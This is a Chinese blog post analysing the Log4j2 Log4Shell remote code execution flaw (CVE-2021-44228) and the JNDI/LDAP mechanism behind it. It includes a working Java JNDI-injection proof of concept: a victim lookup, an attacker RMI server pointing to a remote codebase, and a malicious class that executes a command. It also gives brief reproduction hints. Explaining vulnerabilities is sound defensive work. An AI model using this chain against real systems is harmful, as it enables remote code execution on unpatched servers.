CVE-2021-44228 Apace Log4j2 RCE(迟到的)深度解析

admin 2022年3月27日13:38:32评论58 views字数 3960阅读13分12秒阅读模式

CVE-2021-44228 Apace Log4j2 RCE深度解析


这学期学校开了java课,就想起来去年这个后半夜折腾人的log4j2

想了一下还不是很了解具体原理,于是心血来潮搞一篇文章细品这玩意

屑chenhuan又来丢人了qwq


前体知识

·JNDI

    ·什么是JNDI

JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。

JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。

JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如,每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。(来源-百度知道:JNDI是什么)


·简单来说,JNDI建立了对象--名字一一对应的规范标准(SPI),相当于给对象加了个带名字的身份证,LDAP,RMI,DNS,DB都是他技术上的实现

·LDAP

    ·什么是LDAP

LDAP 的全称是 Lightweight Directory Access Protocol,「轻量目录访问协议」

划重点,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现,AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。(来源-知乎:https://zhuanlan.zhihu.com/p/147768058

·简单来说,LDAP类似一个DB,可以通过目录查询对应目录下文件,只不过他可以控制连接的位置


低版本JDK--漏洞原理

·log4j2默认支持LDAP/RMI协议并通过名称从LDAP服务器获取对应的class文件,并通过ClassLoder起一个本地的LDAP服务器返回Class类

这里有参考了

https://blog.csdn.net/hilaryfrank/article/details/121939902的文章,了解到还有高版本JDK的执行方式(后边细说)


低版本JDK--漏洞原理

·JNDI注入实现

    (参考https://xz.aliyun.com/t/6633#toc-1)

    client.java(受害者)

package jndi注入;import javax.naming.Context;import javax.naming.InitialContext;
public class CLIENT {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri);
}
}

    server.java(攻击者服务端)

package jndi注入;
import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;
public class SERVER {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'"); registry.bind("aa", refObjWrapper);
}
}

   ExecTest.java(攻击者恶意class)

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { exec("xterm"); return null; }
public static String exec(String cmd) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return ""; }
public static void main(String[] args) { exec("123"); }}

简单流程(随手画了一个)

CVE-2021-44228 Apace Log4j2 RCE(迟到的)深度解析

这样就跑完了一整个JNDI注入的流程


回归到上边的问题

    ·高版本JDK基础JNDI为何注入无效?

Starting with Java 8u121 remote codebase were no longer permitted by default for RMI (but not LDAP).

Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see https://bugzilla.redhat.com/show_bug.cgi?id=1639834).

So, up to Java 8u191 there is a direct path from a controlled JNDI lookup to remote classloading of arbitrary code. That Java version is about 3 years old.


(参考:

https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)


·总体来说就是,高版本JDK,啪,不让你的codebase去请求实体url了,但是呢,咱们还可以去用LDAP搞一手


高版本JDK--漏洞原理

·java-look_up

(参考:

https://docs.oracle.com/javase/tutorial/jndi/ops/lookup.html)

当java底层请求LDAP服务器后,LDAP会返回javaClassName,javaFactory,JavaFactoryLocation,这三个主要参数以及一些别的参数,客户端接受到这些参数后便会开始构造所需要的类实例


这条实例化路线有两种方法,一是通过codebase下载,加载javaFactory进行实例化,另一个是通过本地javaFactory进行实例化


所以就有了如下方法

CVE-2021-44228 Apace Log4j2 RCE(迟到的)深度解析

再次随手画一张

至此整个流程就又跑完了一遍


复现就不复现了,单纯的做做解析就得了

网上复现的文章太多了

对于低版本的,上边有提到简单复现的内容,本地起一个LDAP端,做一个恶意class,让server连上就行

对于高版本的,需要对marshalsec中引入tomcat依赖再起LDAP


如有错误还请各位师傅们发我公众号后台进行指正,万分感激

本文已将所有引用和参考的文章标记了出处,如有遗漏请联系我进行添加qwq

原文始发于微信公众号(凛夜安全团队):CVE-2021-44228 Apace Log4j2 RCE(迟到的)深度解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月27日13:38:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-44228 Apace Log4j2 RCE(迟到的)深度解析http://cn-sec.com/archives/843170.html

发表评论

匿名网友 填写信息